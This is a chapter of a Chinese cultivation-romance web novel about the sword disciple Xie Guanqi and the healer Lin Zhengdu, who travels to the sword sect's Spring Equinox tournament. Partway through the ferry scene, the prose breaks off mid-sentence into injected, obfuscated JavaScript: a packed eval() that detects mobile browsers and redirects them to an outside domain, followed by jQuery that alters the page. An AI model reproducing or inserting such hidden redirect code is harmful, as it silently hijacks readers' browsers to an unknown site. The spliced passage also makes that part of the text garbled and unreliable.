小师妹问完,却不见二师兄回答她——只见二师兄不知何故对她眨了眨眼睛,又小幅度的抽动脸皮。
小师妹见状大惊失色:“师兄!你何故对我大抛媚眼?我不喜欢大我太多的老男人!”
二师兄:“……”
“我只是不大会拼写,但是认识韵脚。”
平静的解释从头顶飘过来,小师妹保持着惊吓的表情抬起头,才看见刚才她们悄摸讨论的大师兄不知何时已经走到了旁边。
剑宗弟子排序不按年纪,而是按辈分和入门时间。谢观棋的年纪其实和小师妹大差不差,但他尚在襁褓中时就被云省长老收养,又是云省长老唯一的亲传弟子,所以便有了许多年长于自己的师弟师妹。
天空中的暴雨未停,谢观棋也没有打伞,但他身上仍旧是干爽的。雨点在离他半寸距离的地方,便被一层无形的灵力屏障隔开。
小师妹心虚的退到二师兄身后:“大,大师兄好——”
谢观棋略一颔首,开口道:“背后议论他人短处,这样不好。下次要议论,要等师父在场的时候议论。”
小师妹刚入门不久,跟谢观棋还很陌生,有点怕他,又好奇,忍不住问:“为什么呀?”
谢观棋一本正经的回答:“背后论人长短,容易被正主听见并挨揍。但师父很强,于此世间少有敌手,他可以保护你们。”
二师兄:“……师兄,你应该教她从一开始就不可以背后说别人坏话。”
谢观棋淡淡道:“遇到讨厌的人,难免要挑剔几句,此乃人之常情,落霞,不必对自己过于苛刻。”
二师兄:“说得很好,但是我不叫落霞,落霞是我的剑——师兄!我们都认识六年了,你还没记住我的脸和名字吗?!”
谢观棋沉默片刻,面对师弟的指责,颇为愧疚的憋出一句:“……抱歉。”
二师兄气笑了:“别光是道歉,你倒是给我保证下次会记住啊!”
小师妹还要去上晚课,走的时候带走了瓜子和伞——二师兄从自己的乾坤袋里拿出一把伞撑开,并拍了拍谢观棋的肩膀,也走了。
甚至没有给谢观棋留一把伞。
谢观棋习以为常,他也不需要伞。只是遇上暴雨天,他难免会想起之前林大夫带他去镇子上玩——那次也是遇上了暴雨,周围的人都忙着躲雨,人群像湿热的鱼群,从他身边游过去。
所有人的脸,身形,落进谢观棋眼里,都像庞大鱼群里平平无奇的一尾鱼,他根本看不清,也记不住。
而林大夫抓着他的手腕,像没头苍蝇一样乱跑。
她的手很冰,雨水从她指尖滴到谢观棋手腕上,湿漉漉得像鱼尾巴贴在上面。
谢观棋其实很讨厌下雨天。
他是极为纯粹的单火灵根,水灵旺盛的暴雨天会令他感到不适。尽管在修为见长后,天气和环境的属性越来越难对谢观棋造成影响,但从小到大的刻板印象仍旧让谢观棋讨厌下雨天。
但是那天谢观棋却很庆幸遇上了暴雨。
暴雨把他和林大夫困在了同一个亭子里,林大夫在看暴雨,谢观棋在看林大夫——暴雨停的时候他看见林大夫眼角尖尖向下的眼弯起一点弧度,露出了一个很秀气的笑脸。
一时间谢观棋觉得下雨天特别好。
可是林大夫畏惧他——虽然谢观棋不知道原因。但他熟悉那种躲避的姿态,剑宗里害怕他的同门就会这样躲避他。
偶尔避无可避,正面碰上时,她们也会像林大夫那样强作镇定,寻找一些半真半假的借口糊弄谢观棋。那样拙劣的借口很轻易就被谢观棋看穿,但是谢观棋不会说出来。
因为天才总是被人排挤的,他懂,他超懂。
谢观棋只是不明白林大夫为什么——林大夫又不是剑修,也对剑不感兴趣,而且也不是他的敌人,不用担心他会突然拔剑请赐教。
谢观棋百思不得其解,望着幽暗夜空中的瓢泼大雨,感觉自己心口也变得闷闷的了。
为什么呢?
*
林争渡去找管理布告栏的师弟,询问是谁揭了自己的悬赏单。
师弟摇头:“对方要求保密,我不能说。不过师姐你放心,我们有规定完成时间,如果时间到了,对方还没弄到你要的东西,我们会帮你重新张贴悬赏单的。”
布告栏确实可以匿名接单,也能匿名张贴悬赏。有些医修不想被其他人看出自己要做什么时,就通常会选择匿名。
但林争渡寻白龙珠是为了试药,那药做出来到底有没有用,她自己也不知道,所以就没有匿名的必要。
回到小院之后,林争渡的生活迅速恢复了平静。
上山采药,记录新长出来的草药苗,灵兽的数量——下山配药,做花架。
林争渡有心让自己忙起来,连躺在椅子上发呆的闲工夫都没有给自己留,一有空闲就去后院敲着锤子叮叮当当的炮制那具穷奇骨。
她已经决定种络石。
络石的性情与苔藓相合,又是爬藤植物,而且药山里的络石似乎因为环境变化而进化出了食腐性,好好养一段时间,可以用来当天然垃圾桶,处理一些有害尸体很方便。
在林争渡抽空从药山深处把一株络石幼苗移栽回来的当天下午,那具巨大的花架也终于完工——花架立在湖边厚密的苔藓地上,白骨被打磨得莹润生辉。
刚被移植进去的络石,此时还是很幼小的一株,尚且连骨架的脚腕骨都无法圈住。
林争渡忙完一切,揉揉脖颈伸展胳膊,走过中庭时看见几片枯叶被风吹到了走廊上。
她愣了楞,迟疑片刻,不自觉穿过走廊一直走到前院空地里。
因为已经有六日无人打扫,院子里的地砖又被一层落叶覆盖。原来谢观棋已经离开六天了。
那场春梦对林争渡的影响,随着时间流逝而慢慢变小,她现在就算想起谢观棋,也不会像前几天那样尴尬了。
除了些许没有头绪的怅然之外,林争渡还感觉有些对不起谢观棋。虽然是谢观棋先不辞而别——也不算不辞而别吧,他至少还去辞别了自己师父。
但自己那两天确实是一直避着他,给出的借口也很敷衍。
林争渡自言自语:“找个机会去一趟剑宗,跟谢观棋把话说开吧……其实如果没有那个春梦,谢观棋这人做朋友是真的很不错。”
“做病患也很不错。”
又会主动打扫卫生,又会在她忙手工的时候帮忙递工具,还不会把钉子拿成锤子。
很快林争渡就找到了合理前往剑宗的机会——这个月的月底,剑宗内部有春分大会。
春分大会是专门为剑宗年轻弟子设立的季度赛会,让弟子们以抽签选择对手的方式捉对比试,只有第一名,不设第二名第三名。
春分大会是剑宗内部的比赛,并不对外开放,也不允许外人进去参观。但药宗例外,药宗与剑宗同属北山一脉,同气连枝,药宗弟子凭宗门腰牌,可以随意进出大会赛场进行观战,还可以参与剑宗内部的赌剑活动。
*
云端之上,霞光七彩,不时有散养的仙鹤飞过。
有的仙鹤仙风道骨,有的仙鹤嘴里叼着不知道从什么地方偷摘的果子,边飞边吃,吃完还在云端乱吐果核,鹤德堪忧。
除了热爱在云端四处溜达的仙鹤之外,还有符文缠绕的飞云渡船。
此处渡船每两个时辰一趟,往返于剑宗和药宗之间,一趟只需要两块灵石,在宗门上空禁止飞剑也禁止御气的两宗中,是没钱养
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377647|183969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仙鹤的弟子们最为喜欢的交通工具。
“哕——这个——哕——船——哕哕——”
林争渡扶着飞云渡船的墙壁大吐特吐,吐得整个人差点趴在装秽物的木桶上。
青岚一边扶着她,一边叹气回答:“还要两刻时间,才到剑宗呢。你上船之前不是已经吃过晕船药了吗?怎么还吐成这样?”
林争渡:“你不——哕——晕船——哕——”
青岚:“……算了你别说话了,专心吐吧。”
好不容易等渡船落地,林争渡脚步虚浮的被青岚扶下去。两只脚重新踩到地面的瞬间,林争渡感动得眼眶湿润,不禁揉了揉眼睛。
青岚看得有些好笑:“真搞不懂,你明明晕船那么严重,干嘛非要来凑这个热闹?春分大会又不是第一次开了,往年请你来都不来。”
林争渡不爱出门,就连药宗自己内部的一些活动,她都不去参加,更别提剑宗的春分大会了。所以即使剑宗同药宗关系要好,在谢观棋之前,林争渡也并没有相熟的剑宗弟子。
所以她突然说要来春分大会,青岚属实是大吃一惊。
林争渡摸了摸自己鼻尖:“就是因为往年从来不来,所以今年才感觉好奇嘛。”
两人随着人群涌进剑宗大门,在守门弟子面前出示了腰牌之后,便有一个格外年幼的剑宗弟子来为她们引路,带着她们一直走到大赛入口。
比赛设立于一处掌珠幻境内,幻境外由高到低层叠着数不清的观众席。
引路弟子背着一把练习所用的木剑,还带着婴儿肥的笑脸,向二人作揖,声音清脆:“两位药宗姐姐自己寻空位坐下即可,观赛途中切记不可攻击幻境水幕,不可大声辱骂参赛弟子,不可随地方便……”
引路弟子一口气说完了二三十条观赛要求,末了十分严肃的补上一句:“若触犯规则者,将会被阵法弹出观赛席噢!”
青岚早已经不是第一次来,拉着林争渡自顾自找了两个空位坐下。
不一会儿,她们周围的空位渐渐被其他人填满,林争渡有看见好几位眼熟的药宗弟子。同时,中央空地上的掌珠幻境水幕发出一阵微光——波光闪烁片刻后,巨大的字幕漂浮其上。
是对战弟子的名单。
林争渡一目十行看完,却没有再名单上找到谢观棋的名字。她微微皱眉,又将名单从头到尾看了一遍。
虽然上面的名字极多,但是林争渡对自己的目力很有信心,绝不至于看漏。
林争渡问:“这就是全部的参赛弟子了吗?”
青岚点头,有点兴奋的说:“对啊。今年的参赛弟子比去年多,看来一定会打得很精彩!”
“精彩?”旁边的剑宗弟子撇了撇嘴,“那道友你可要失望了,今年大概会是最无趣的春分大会了。”
青岚不解:“为何啊?”
剑宗弟子:“因为今年春分,燕稠山的谢师兄不参赛啊!没有谢师兄,其他人打来打去也就那样啦。”
青岚歪了歪头,有些疑惑,但不等她追问,就有人先一步问出声:“谢观棋为什么不参赛?”
青岚瞥了眼问话的人——是林争渡问的。
剑宗弟子摇头:“这我就不知道了,可能谢师兄有自己的事情要办吧。”
林争渡:“这种比赛还可以不参加的吗?”
剑宗弟子解释:“拿过三连冠的弟子有拒赛的资格,但是谢师兄明明去年都参加了……”
说完,剑宗弟子很惆怅的叹了一口气——旁听的林争渡也很想跟着叹气。
本来还想着,来赛场就能碰见谢观棋。好歹她也是谢观棋的救命恩人,碰见了总不能不说话,找到机会说话就可以解释误会——
没想到人家根本没来比赛。